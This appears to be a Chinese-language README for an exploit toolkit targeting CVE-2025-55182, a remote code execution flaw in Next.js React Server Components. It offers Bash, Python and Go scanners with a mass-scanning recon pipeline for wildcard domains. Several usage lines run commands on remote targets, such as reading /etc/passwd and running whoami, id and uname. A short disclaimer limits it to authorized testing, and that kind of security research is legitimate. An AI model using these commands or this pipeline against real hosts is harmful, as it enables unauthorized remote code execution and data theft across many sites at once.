针对影响 Next.js RSC 的 CVE-2025-55182 的高保真 RCE 扫描器。支持批量扫描、命令执行和自动化侦察管道。专为渗透测试人员、研究人员和漏洞赏金猎人打造。
一个用于检测和利用 CVE-2025-55182 的综合工具包,该漏洞是 Next.js 应用在使用 React Server Components 时存在的一个严重远程代码执行漏洞。
本仓库提供统一的 Bash 扫描器(单目标与批量模式)、Python/Go 实现,以及一套漏洞赏金侦察工作流。

要在通配符域名上进行批量挖掘,请在扫描前使用以下管道过滤目标:
# 1. Enumerate subdomains
subfinder -dL wildcards.txt -all -recursive > subs.txt
# 2. Filter for live hosts
httpx -l subs.txt -o live.txt
# 3. Pre-scan detection using Nuclei (optional)
nuclei -l live.txt -t CVE-2025-55182.yaml -o final.txt
scanner.sh 脚本支持单目标扫描以及从文件列表进行批量扫描。
chmod +x scanner.sh
最适合通过详细输出来验证特定目标。
# Basic check (defaults to "id")
./scanner.sh -d example.com
# Execute custom command
./scanner.sh -d https://target.com -c "cat /etc/passwd"
高效扫描 URL 列表并将存在漏洞的主机保存到文件中。
# Scan a list of URLs
./scanner.sh -l live.txt -c "whoami"
# Custom output file
./scanner.sh -l live.txt -o my_bounty.txt
如果使用 Bash 转义特殊字符时遇到问题,请使用此版本。
pip install requests
python3 python/exploit.py -u http://target.com -c "uname -a"
高性能,依赖极少。
go run go/main.go -u http://target.com -c "id"
cd go
go build -o cve-scanner main.go
./cve-scanner -u http://target.com
本工具仅用于教育和授权安全测试目的。 未经授权的使用严格违法。 开发者对因滥用或使用本程序造成的损害不承担任何责任。
NVD CVE 详情: https://nvd.nist.gov/vuln/detail/CVE-2025-55182
React 安全公告(React Server Components 漏洞): https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
ProjectDiscovery Nuclei 模板: https://cloud.projectdiscovery.io/library/CVE-2025-55182
| Flag | 描述 |
|---|
-d, --domain | 单目标 URL |
-l, --list | 包含 URL 列表的文件 |
-c, --command | 要执行的命令(默认:id) |
-o, --output | 存在漏洞主机的输出文件(默认:vulnerable_hosts.txt) |